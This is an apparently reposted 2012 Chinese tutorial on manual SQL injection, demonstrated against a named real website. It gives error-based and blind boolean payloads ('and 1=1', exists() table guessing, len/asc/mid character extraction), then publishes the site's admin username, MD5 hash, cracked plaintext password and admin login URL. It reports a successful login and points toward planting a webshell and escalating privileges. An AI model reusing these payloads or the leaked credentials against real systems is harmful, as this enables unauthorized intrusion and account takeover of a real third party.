您的位置:首页 > 运维架构 > 网站架构

2012最新网站手工注入详解教程

2012-08-15 17:33 411 查看
想起 苦学技术的梯子真是感慨万千,别人在背英语句子,而卧却在背数据库语句,同样都是英文 ,可为啥咱英语成绩还是不及格--

言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有不合适的地方,所以学会手工注入还是很重要的,今天的教程就给大家说说手工注入,新手一起来看,老鸟直接飞过好了。

动态脚本语言(例 asp php aspx jsp等),总会与数据库关联,带入相应的变量来查询指定数据,当这种查询被我们控制时,也就形成了注入

比如下面这个链接

http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235

很正常的URL,提交这个URL,假设服务器进行像select * from news id=''ID的查询语句(news为表名,ID是提交的参数),如果我们提交select * from news id=1235 and user>0这样的语句,肯定是无法执行 ,就会报错并给与相应的错误提示

下面我们来看下 看到了 爆错了吧

接下来就是实战了,判断是否是注入的,可以再参数后面加一个单引号',如果是注入的,把语句带入数据库之后,语句中的单引号没有闭合,程序就会报错,根据报错的信息可以判断数据库类型,本次教程讲述acess注入,返回的信息有ODBC Microsoft Access Driver 这个时,就可以判定为acess数据库。

注意一下,也可以用分号;或者--来让目标报错,这两个分别是mssql中的分离语句和注释语句的符号,在acess中会因为语句不通报错,当然,输入的时候必须要在中文状态下哈

以上是符号判断,还可以用经典的 and 1=1 and 1=2注意一下 and的前面有个空格,通过这样的构造来报错,and在逻辑语言为 和 的意思,前后两语句,都为正确,则为真,返回正常,and前后有一个错,则为假,就会报错

http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235%20and%201=1 返回正常

http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and 1=2 报错了

如果遇到参数像id=hacker这样的非数字,我们称之为字符型注入,这时候我们就用前面所说的去试,结果你会发现不行的,因为字符串类型不像数字型直接取之,需要用单引号包含起来,让他报错 'and' '1'=1

'and' '1'=2 这样的

这里没有准备字符串的,不做详细演示了,试了下数字的用这样不行哈

教程继续.......

接下来我们猜解表段数据,提交 and exists (select * from admin)返回正常,证明存在admin这个表段,提交 and exists (select * from admin1)报错了,就证明不存在admin1这个表段

为了让大家更明白,我解释下每句的意思

exists()作用是:如果是返回结果集,就为真,否则为假

*是通配符,代表任意字符,即表示存在数据

select * from admin表示:在admin表段中存在数据 ,即可知道有无admin表段,这个直接决定了exists()真假,就可以作出相应的判断了

所以平时要多搜集些常用的表名,像我们在入侵是时候,一般都是找后台,因为权限。我们继续猜解admin下的字段

把*替换为count(username)

http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and exists (select count(username) from admin)

刚才填写的出了点问题,菜鸟哈,见谅。返回了正常页面,说明username字段存在

提交 and exists (select count(username1) from admin)返回错误,说明username1字段不存在

解释下

count():返回指定的条件行数,存在字段,返回1,exists()为真,返回正常页面。不存在字段,返回0,程序报错。

接着判断数据长度,用到如下语句:

and (select top 1 len(username)from admin)>12

返回正常,则代表username第一行长度大于12

and (select top 1 len(username)from admin)>13

返回错误,就代表username第一行长度不大于13,即小于等于。

所以可以通过更改后面的数字确定长度

and (select top 1 len(username)from admin)>数字

被叫成username第一行长度即为13

解释下

len()这个函数是判断数据长度

top 1表示第一行内容,同理猜解第二行 即top 2

接下来就是判断内容了,我们用 mid(列名,n,1)来截取第n位字符,再用asc()函数转化为ASCII码

and (select top 1 asc(mid(username,1,1))from admin)>97

提交这样的信息,返回错误,就代表第一位ASCII码小于等于97

and (select top 1 asc(mid(username,1,1))from admin)>96

提交这样的信息,返回正确,就代表第一位ASCII码大于96

教程中网站的ASCII码即97

再用ascii转换工具把ASCII码转换为字符 抱歉工具有问题,我汗 没准备好 稍等

教程继续 ASCII 97 转换 >> a

这里97转化为a,即第一位是a。

同理判断出后面的字符

and (select top 1 asc(mid(username,2,1))from admin)>97

根据操作我们判断出来了

ASCII 100 转换 >> d

接下来的我就不一一操作了 我这里已经猜解好了整个字段 的第一行

我有找了下 发现了password表段 这里保存的是密码,接下来就是找后台了

[password] : 01624cf92e696e77

[username] : administrator

01624cf92e696e77对于这样的密码有的朋友可能会直接去登陆后台,发现密码错误,实际上是使用了一种叫做MD5加密的方式,由于是不可逆的(具体自己百度),我们只能选择暴力破解或者去相关的网站查询,当然,如果管理员太BT,哪里都弄不到的,就要自己另辟蹊径了

我这里推荐三个MD5解密网站

www.cmd5.com

www.md5.org.cn

www.md5.com.cn

查到了明文

Md5:01624cf92e696e77

Result: zxtx007

我们在弄出后台 我这里用的明小子,其实怎么弄都差不多....出来后台就可以

http://www.tri-cel.com/admin/index.asp

这个就是后台登陆的页面了 我们用刚才注入得到的东西登陆下

登陆成功

接下来的就是拿webshell和提权
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: